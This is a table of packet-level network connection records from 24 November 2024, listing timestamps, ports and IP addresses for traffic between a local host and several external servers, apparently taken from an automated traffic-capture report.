Nov 24, 2024 14:24:38.475698948 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.476286888 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.476372957 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.476408005 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.478252888 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.478322029 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.478344917 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.480128050 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.480313063 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.491513968 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.491763115 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.491920948 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.492425919 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.506699085 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:38.516614914 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.516730070 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.516963005 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.517580986 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.521102905 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.558585882 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.558779001 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.559555054 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.559669971 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.559772968 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.559842110 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.559886932 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.561686993 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.561748028 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.574928999 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.575129032 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.575217962 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.575805902 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.587826967 CET	443	49834	104.21.33.116	192.168.2.4
Nov 24, 2024 14:24:38.587915897 CET	49834	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:38.589402914 CET	49834	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:38.589425087 CET	443	49834	104.21.33.116	192.168.2.4
Nov 24, 2024 14:24:38.589649916 CET	443	49834	104.21.33.116	192.168.2.4
Nov 24, 2024 14:24:38.600992918 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.601099968 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.601102114 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.601968050 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.602046967 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.602202892 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.641125917 CET	49834	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:38.642884970 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.642952919 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.642997980 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.643846989 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.644123077 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.644172907 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.644177914 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.644232988 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.646044970 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.646332026 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.646425009 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.646430969 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.648340940 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.649060011 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.685904980 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.686017990 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.686187029 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.686837912 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.708534956 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.708594084 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.708614111 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.728113890 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.728183031 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.728230953 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.729017019 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.729116917 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.729172945 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.730494976 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.730597019 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.730598927 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.732408047 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.733094931 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.750710011 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.750740051 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.750783920 CET	49834	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:38.750802040 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.750961065 CET	49834	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:38.750987053 CET	443	49834	104.21.33.116	192.168.2.4
Nov 24, 2024 14:24:38.788057089 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.788208961 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.788286924 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.788933039 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.825691938 CET	443	49833	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:38.825925112 CET	443	49833	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:38.826059103 CET	49833	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:38.826059103 CET	49833	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:38.826090097 CET	49833	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:38.826105118 CET	443	49833	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:38.833748102 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.833872080 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.834028006 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.834670067 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.834769011 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.834784985 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.856312990 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.856440067 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.856652975 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.857251883 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.857386112 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.857477903 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.859186888 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.859282017 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.859327078 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.861130953 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.861236095 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.861325979 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.872706890 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.872809887 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.872889042 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.873647928 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.877091885 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.899600983 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.899771929 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.899831057 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.900511980 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.900630951 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.901148081 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.941896915 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.942030907 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.942419052 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.942800045 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.943061113 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.943157911 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.943206072 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.945002079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.945045948 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.945091009 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.979984999 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.980001926 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.980031013 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.984349012 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.984411955 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.984461069 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.985313892 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.985362053 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.985399008 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.025937080 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.026061058 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.026134968 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.026813984 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.026899099 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.026927948 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.028249979 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.028625965 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.028675079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.028706074 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.028722048 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.029686928 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.029820919 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.029882908 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.031580925 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.070029020 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.070091009 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.070216894 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.070960045 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.071007967 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.071044922 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.091520071 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.091579914 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.091672897 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.112401962 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.112445116 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.112498045 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.113317013 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.113476038 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.113482952 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.115320921 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.115390062 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.115394115 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.133865118 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.133900881 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.134018898 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.176309109 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.176337004 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.176399946 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.217969894 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.218053102 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.218117952 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.240889072 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.241039038 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.241187096 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.241734028 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.259977102 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.260047913 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.260088921 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.260912895 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.260942936 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.260984898 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.262336969 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.262403965 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.262484074 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.283217907 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.283261061 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.283334970 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.284020901 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.284071922 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.325905085 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.325932980 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.326036930 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.368261099 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.368360996 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.368418932 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.369169950 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.369316101 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.370078087 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.371432066 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.372041941 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.372102022 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.372247934 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.373629093 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.373707056 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.373719931 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.410408020 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.410465956 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.410510063 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.411295891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.411701918 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.433801889 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.433856964 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.433948040 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.453140974 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.453185081 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.453248024 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.453996897 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.475023985 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.475094080 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.475153923 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.475651026 CET	443	49834	104.21.33.116	192.168.2.4
Nov 24, 2024 14:24:39.475733995 CET	443	49834	104.21.33.116	192.168.2.4
Nov 24, 2024 14:24:39.475995064 CET	49834	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:39.476206064 CET	49834	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:39.476238966 CET	443	49834	104.21.33.116	192.168.2.4
Nov 24, 2024 14:24:39.495758057 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.495879889 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.495923042 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.496714115 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.496772051 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.496809006 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.517761946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.517828941 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.517926931 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.531976938 CET	49841	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:39.532061100 CET	443	49841	104.21.33.116	192.168.2.4
Nov 24, 2024 14:24:39.532229900 CET	49841	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:39.532639980 CET	49841	443	192.168.2.4	104.21.33.116
Nov 24, 2024 14:24:39.532670021 CET	443	49841	104.21.33.116	192.168.2.4
Nov 24, 2024 14:24:39.537939072 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.538023949 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.538055897 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.538886070 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.538930893 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.538959980 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.560354948 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.560370922 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.560461044 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.580666065 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.580741882 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.580859900 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.581598997 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.581716061 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.581742048 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.583496094 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.583549976 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.584115028 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.584321022 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.584419966 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.585987091 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.624238968 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.624377966 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.624392986 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.625225067 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.625279903 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.625318050 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.626534939 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.626619101 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.626661062 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.627645969 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.627705097 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.627774000 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.629585028 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.629707098 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.666902065 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.666953087 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.667133093 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.667810917 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.668201923 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.668342113 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.668363094 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.670137882 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.670212030 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.670233011 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.687866926 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.687931061 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.688095093 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.708744049 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.708805084 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.708842039 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.709686995 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.709779024 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.709919930 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.729938030 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.729995012 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.730108023 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.769771099 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.769809961 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.769841909 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.770656109 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.770746946 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.770788908 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.772602081 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.772675991 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.772761106 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.774566889 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.774631977 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.774661064 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.776496887 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.776552916 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.776586056 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.794945002 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.794996023 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.795209885 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.795743942 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.795800924 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.813234091 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:39.813290119 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:39.813308954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:39.813412905 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:39.813430071 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:39.813465118 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:39.813483953 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:39.813509941 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:39.813534975 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:39.813570023 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:39.813577890 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:39.813605070 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:39.813615084 CET	49838	80	192.168.2.4	185.215.113.16
